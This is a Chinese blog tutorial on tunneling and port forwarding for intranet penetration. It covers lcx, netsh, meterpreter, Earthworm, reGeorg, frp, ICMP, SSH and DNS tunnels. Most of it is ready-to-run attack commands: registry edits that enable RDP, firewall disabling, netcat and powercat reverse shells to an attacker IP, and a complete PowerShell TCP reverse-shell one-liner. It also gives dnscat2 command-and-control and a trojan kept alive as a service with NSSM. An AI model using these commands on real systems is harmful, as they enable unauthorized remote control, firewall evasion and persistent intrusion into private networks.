内网渗透之常见隧道转发划水以至于溺水技术。

内网渗透之常见隧道转发划水以至于溺水技术

  • 越过山丘,才发现无人等候。

一、基本介绍

端口转发:
用于目标机器对某一端口的访问进行了限制,主要就是可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网 IP 上。
端口映射:
就是将一个内网无法访问的端口映射到公网上的某个端口,进而进行攻击,例如最喜欢的3389!
内网转发:
主要用于在目标机器上做跳板,进而可以对内网进行攻击!
隐藏隧道:
由于防火墙存在,会检测对外连接情况,如发现异常就会阻断,隧道就是绕过防火墙,封装数据绕过屏蔽的通信方式

二、工具介绍及使用

端口转发

  • 1、Lcx.exe

    lcx.exe是一个端口转发映射工具, Windows版是lcx.exe,Linux版为portmap,主要就三个参数监听映射转向.
    Windows情况下:
    在这里插入图片描述
    目标主机执行
    lcx.exe -slave 公网主机ip 8888 目标ip 3389
    公网主机监听,即可成功映射
    lcx.exe –listen 8888 5555
    在这里插入图片描述
    如果3389被防火墙限制,可以-tran映射到其他端口,进行访问
    lcx -tran 6666 目标ip 3389

    LINUX情况下:
    在这里插入图片描述
    目标主机执行
    ./portmap -m 3 -h1 目标ip -p1 22 -h2 公网ip -p2 8888
    公网主机监听,即可成功映射
    ./portmap -m 2 -p1 8888 -h2 公网ip -p2 12345
    在这里插入图片描述
    ps:如果目标机器没有开启3389?或者找不到远程桌面?在或者饿了?算了,先解决前两个问题吧!

	开启3389端口:
	通杀:
	wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
	2003:
	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
	2008:
	REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
	多版本win08 win03 win7 win2012 winxp 执行3条:
	1.wmic /namespace:\root\cimv2	erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
    2.wmic /namespace:\root\cimv2	erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
  	3.reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
	开了远程桌面找不到?
	简单暴力办法看看服务器有木有电话qq之类的,直接联系管理员问问,好好的3389端口非得换,不知道我找不到吗?
	不闹了!容易挨打!
	1、cmd执行:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
    2、cmd执行:tasklist /svc查询TermService对应PID,然后在netstat -ano查询的PID对应的端口号
	3、查找注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ Wds dpwd\Tds	cp 中PortNumber的值





  • 2、netsh

    netsh(Network Shell) 是一个windows系统本身自带的工具,可以用来做端口转发。因为他可以把本地端口的任意一个TCP连接都可以被重定向到另一个端口,或远程计算机的任意端口上。
    前提:
    2003、xp系统需要安装IPV6(netsh interface ipv6 install),其他版本直接可以使用。
    启动服务中的IPv6 Helper Service/IP Helper,如果不行可以关闭服务器或添加入栈规则(netsh firewall set opmode disable)
    基本语句

    添加
    netsh interface portproxy add v4tov4 listenaddress=本地 listenport=port connectaddress=ip connectport=port 
    删除
    netsh interface portproxy delete v4tov4 listenport=port
    查看
    netsh interface portproxy show all
    
    

    举个栗子,如果想进行端口转发,可以把来自外部的 tcp 的26端口流量全部转发到内网的机器的3389端口上:

    netsh advfirewall firewall add rule name="8888" dir=in action=allow protocol=TCP localport=26
    
    netsh interface portproxy add v4tov4 listenaddress=ip listenport=26 connectaddress=10.0.0.1 connectport=3389
    
    

    在这里插入图片描述

    3、msf端口转发

    msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。

    portfwd add -l 8888 -p 3389 -r 172.16.86.153 #-l为本地监听端口,-p 目标端口,-r 目标ip
    

    然后即可将转发目标主机的3389到本地的8888,直接连接即可rdesktop 127.1.1.0:8888
    portfwd list/delete/flush 列表/删除/清空

内网转发

内网转发也就是隧道技术它通常是将一个网络协议封装为另一个网络协议的payload。

  • 1、Earthworm

    Earthworm 是一套便携式的网络穿透工具,具有 SOCKS5代理、端口转发、端口映射等功能,优点比如穿透能力强,支持多平台等
    在这里插入图片描述

主要三个模块:
正向代理 ssocksd、
反向代理 rcsocks,rssocks
端口转发 lcx_listen,lcx_slave,lcx_tran
首先简单画拓扑,利用服务器当作跳板访问探测内网。
在这里插入图片描述比如想通过跳板机访问内网,也就是正向代理,就是常说的ss,
首先在服务器上监听本地端口./ew_for_linux64 -s ssocksd -l 1080
然后在kali攻击机上执行proxychains+命令即可(在/etc/proxychains.conf添加socks5 22.22.22.2 1080)
在windows下直接设置全局代理即可(ie、Proxifier等)即可访问目标内网服务

有正即有反,如果无法直接连接目标主机,但是目标主机可以主动连接攻击机,这时可以利用ew进行反向代理,只不过方向变了,首先在攻击机上监听1080,将1111带你看流量转到1080端口# ew_for_Win.exe -s rcsocks -l 1080 -e 1111,然后在目标机执行ew_for_Win.exe -s rssocks -d 88.88.88.8 -e 1111相当于将流量转发到攻击机1111端口,攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务

  • 2、reGeorg+proxifier/proxychains

regeorg主要是把内网服务器的端口通过http/https隧道转发到本机。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
在这里插入图片描述根据服务器上传相应文件,进行代理,直接访问显示“Georg says, ‘All seems fine’”,代表成功。
在这里插入图片描述
然后执行,python reGeorgSocksProxy.py -p 1080 -u http://127.0.0.1/test/tunnel.nosocket.php ,proxifier设置全局代理1080即可,proxychains设置件/etc/proxychains.conf 添加socks5 127.0.0.1 1080即可
在这里插入图片描述

  • 3、frq

    frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
    在这里插入图片描述
    首先配置对frpc.ini,然后和frpc.exe一起上传到目标机
    在这里插入图片描述
    服务端frps.ini,设置一样端口8888,运行frpc.exe -c frpc.ini,攻击机执行frps.exe,结合proxifier进行代理,输入账号密码即可
    结束后目标机删除frpc,taskkill /pid 进程号 -t -f

隐藏隧道

1 常见的隧道:

	网络层:ipv6隧道、icmp隧道
	传输层:tco隧道、udp隧道、端口转发
	应用层:ssh隧道、http隧道、https隧道、DNS隧道

网络层

1、ipv6隧道

IPv6协议隧道方法 用于连接处于IPv4海洋中的各孤立的IPv6岛(将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IP)。此方法要求隧道两端的IPv6节点都是双栈节点(对于IPv4包和IPv6包都使用相同的地址),即也能够发送IPv4包。
IPv6隧道的工作过程如下:

1、节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
2、节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋
3、在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B
4、节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文

配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立I P地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用D H C P、人工配置或其他IPv4的配置机制。
支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等

2、icmpc2通道及隧道传输

icmp相当于其他协议更具有隐蔽性,因为防火墙会默认放此协议,当你拿到一台服务器,防火墙禁止外出流量,可以将数据封装在ping中带出,穿过防火墙限制。

  • icmpC2通道
    icmpsh是应该利用icmp反弹shell1的工具,icmpsh的目标主机只能是Windows(不需要管理权限),控制端只能是Linux。
    控制端kali首先下载,并且需要关闭内核对ping的反应,进而执行即可。
git clone https://github.com/inquisb/icmpsh.git
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 攻击者ip 目标ip>

在这里插入图片描述
目标系统windows,执行-t

icmpsh.exe -t 攻击者ip

在这里插入图片描述
即可反弹shell
在这里插入图片描述

  • 隧道传输
    将TCP连接通过ICMP封装进行传送的一种方法。
    icmptunnel是一个将流量封装到 ICMP包中的隧道工具,可以绕过防火墙的隐蔽连接。
    攻击端首先安装icmptunnel,然后禁用icmp回应影响。
git clone https://github.com/jamesbarlow/icmptunnel.git 
make
sysctl -w net.ipv4.icmp_echo_ignore_all=1

然后监听tunnel,并且给隧道接口分配一个IP地址

./icmptunnel -s
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

在这里插入图片描述
目标关闭反应,以及连接攻击ip,设置ip

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmptunnel 攻击ip 
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

在这里插入图片描述
通过ICMP连接SSH(前提目标需开启ssh),通过ICMP包建立了点对点隧道。攻击者的隧道IP是10.0.0.1,目标ip的隧道IP是10.0.0.2。传输的每个流量都是ICMP包,ICMP的payload就是封装的HTTP/IP包,所以走的都是icmp。

传输层

1、nc

主要通过tcp和udp的网络连接读取数据等。
获取shell

正向shell:客户端想要获取服务器shell

	客户端监听
nc -lvp 8888 -e /bin/sh 
nc -lvp 8888 -e c:\windows\system32\cmd.exe 
	服务端反弹
	nc 服务端ip 8888

反向shell:服务端想要获取客户端器shell

客户端监听
nc -lvp 8888 
服务端反弹
nc ip 8888 -e /bin/sh 
nc ip 8888 -e c:\windows\system32\cmd.exe 

场景 :攻击机->防火墙-》服务器和数据库同一内网(攻击可以访问服务器,访问不了数据库)
攻击机监听
nc -lvp 8888
数据库
nv -lvp 8888 -e /bin/sh
web服务器
nc -v 攻击ip 8888 -c "nc -v 数据库ip 8888"
然后攻击机即可访问数据库。

2、powercat

PowerCat是NetCat的PowerShell形式,使用也一样
正向连接:Windows上反弹shell到kali

Kali: 
    nc -lvp 8888
Windows: 
    Import-Module .\powercat.ps1
    powercat -c kaliip -p 8888 -e c:\windows\system32\cmd.exe

反向连接:Windows上反向连接到kali

Kali:
    nc 目标ip 8888 -vv
Windows:
    Import-Module .\powercat.ps1
    powercat -lvp 8888 -e c:\windows\system32\cmd.exe 

Windows之间互弹shell

w7监听:
Import-Module .\powercat.ps1
powercat -lvp 8888
w10连接:
Import-Module .\powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep
or
w7监听:
Import-Module .\powercat.ps1
powercat -lvp 8888
w10连接:
.\reverse.ps1
ps1=$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Powercat传输文件

接收端:
    Import-Module .\powercat.ps1
    powercat -lvp 8888 -of test.txt 
发送端:
    Import-Module .\powercat.ps1
    powercat -c 192.168.10.1 -p 8888 -i C:\Users\Desktop\test.txt -v

PowerCat进行DNS隧道通信
PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

然后ruby dnscat2.rb ttpowercat.test -e open --no-cache
目标执行
powercat -c kaliip -p 53 -dns ttpowercat.test -e cmd.exe
然后kali执行 session -i 1即可
场景 :攻击机->防火墙-》w7和w10同一内网(攻击机以w7做跳板访问w10)
w10执行
powercat -lvp 8888 -e cmd.exe
w7执行
powercat -lvp 9999 -r tcp:ip(w10):8888
最后kali执行,即可访问
nc ip(w7) 9999 -vv
or
dns隧道
w7执行
powercat -l -p 9999 -r dns::ip(w7)::ttpowercat.test
kali执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
w10执行,即可获取sessions -i 1
powercat -c ip(本机) -p 9999 -v -e cmd.exe

应用层

1、ssh隧道

常用参数

-C 压缩传输
-f 后台传输
-N 建立看不到具体会话的连接
-L 本地端口转发
-g 允许远程主机连接本地用于转发端口
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-D 动态转发(socks代理)
-P 指定ssh端口

本地转发
将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
场景:kali- 》防火墙-》web服务器-》内网服务器
目的:kali访问内网服务器3389端口
思路:以web服务器当跳板,将内网服务器3389端口映射到web服务器1234端口,然后访问1234即可访问内网3389
kai上执行

ssh -CfNg -L 1234:内网ip:3389 root@web服务器

然后kali即可访问3389了

远程转发
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
场景:kali- 》防火墙-》web服务器-》内网服务器
目的:kali访问内网服务器3389端口
思路:以web服务器当跳板,将kali5555端口的流量转发到内网服务器3389端口,访问5555即可访问内网服务器3389
web服务器上执行

ssh -CfNg -R 5555:内网ip:3389 root@kaliip

然后kali访问5555即可
动态转发
建立一个ssh加密的socks4/5代理通道,只要支持socks4/5的都可以使用该隧道通信
场景:kali- 》防火墙-》web服务器-》内网服务器80web服务
目的:kali通过浏览器访问内网服务器80web服务
思路:在kali建立以web服务器基础的sockets5隧道,然后浏览器设置sockets代理,即可访问内网web80web服务器
kai上执行

ssh -CfNg -D 1234 root@web服务器ip
然后挂上浏览器sockets代理即可访问。

ssh反向隧道
简单的来说就是在目标内网机上做到公网服务器的反向代理;然后在公网服务器做正向的代理实现内网到公网的转发
目标内网服务器:ssh -fCNR 192.168.119.129:8888:localhost:22 root@192.168.119.129 #将本机的22号端口的流量都转发给公网服务器8888端口
在这里插入图片描述然后公网服务器执行ssh -fCNL *:1111:localhost:8888 localhost #、将公网服务器的1111端口的流量都转发给服务器的8888端口
在这里插入图片描述
然后即可直接连接公网服务器1111端口,即使连接到目标内网服务器。ssh -p 1111 root@公网ip
在这里插入图片描述这种方法不稳定,可以利用AutoSSH建立稳定SSH隧道
首先目标内网服务器和公网服务器apt install autossh
目标内网服务器生成ssh-keygen公钥私钥,并ssh-copy-id root@ip到公网服务器中,实现免密登陆
在这里插入图片描述
最后执行 autossh -M 5000 -NR 8888:localhost:22 root@xxx.xxx.xxx.xxx -p 22) 同理上即可
在这里插入图片描述

2、HTTP/HTTPS隧道

常见的regeorg、meterperter、tunna等,利用http隧道进行代理,在爆破3389等比较隐蔽,特征不明显。

3、DNS隧道

DNS协议解析过程分为两种,迭代查询和递归查询(一次请求),DNS隧道是隐蔽信道的一种,通过将其他协议封装在DNS协议中进行通信。封装由客户端完成,将DNS流量还原成正常的流量由服务器完成。
常用的工具Dnscat2、iodine、Dns2tcp等

  • Dnscat2
    dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,解析常见的类型:A、CNAME、MX、TXT……类型,它的优点就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成比如文件上传、下载、反弹Shell,
    在服务端机器上,执行:

    服务端

sudo ruby./dnscat2.rb abc.com --secret=123456   #1,自定义DNS传输的域名以及密码
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=5555,type=TXT --secret=123456   #2,监听本机5555
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3
客户端
dnscat --secret=123456 abc.com    #1
dnscat --dns server=dnscat2 server ip>,port=5555,type=TXT   #2

客户端连上后,会提示:Session established!
服务端的控制台输入:windows,即可以看到一个客户端上线:

使用window -i 1,即可进入该通道;

常用的有:

quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)

连接通道后,:

clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
  • iodine
    iodine这个工具可以大致分为中继和直连两种类型,中继需要在外网有自己的服务器,迭代请求,直连在客户端直接向指定IP的恶意DNS服务器发起DNS解析请求,而且传输文件的速度非常快,是一种主流工具。iodine主要分服务端与客户端。当客户端请求该域名的解析,就可以建立通道连接。iodine支持各种系统以及NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型。
    客户端:
	客户端:sudo iodine -f -r xxx.com -M 200 -P 123456 //xxx.com为自定义DNS传输的主域名

服务端:

sudo iodine -P 123456 -f -r -T TXT <dns服务商,不写就直连> abc.com

-r 强制在任何情况下使用DNS隧道
-f 将使客户端保持在前台运行
-t 使用的DNS类型
-M 表示最大的上传域名长度

维持后门

比如利用NSSM,封装某一木马软件exe封装为系统服务,然后服务器设置自动启动即可。
在这里插入图片描述删除利用nssm remove

余生很长,请多指教。
在这里插入图片描述

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值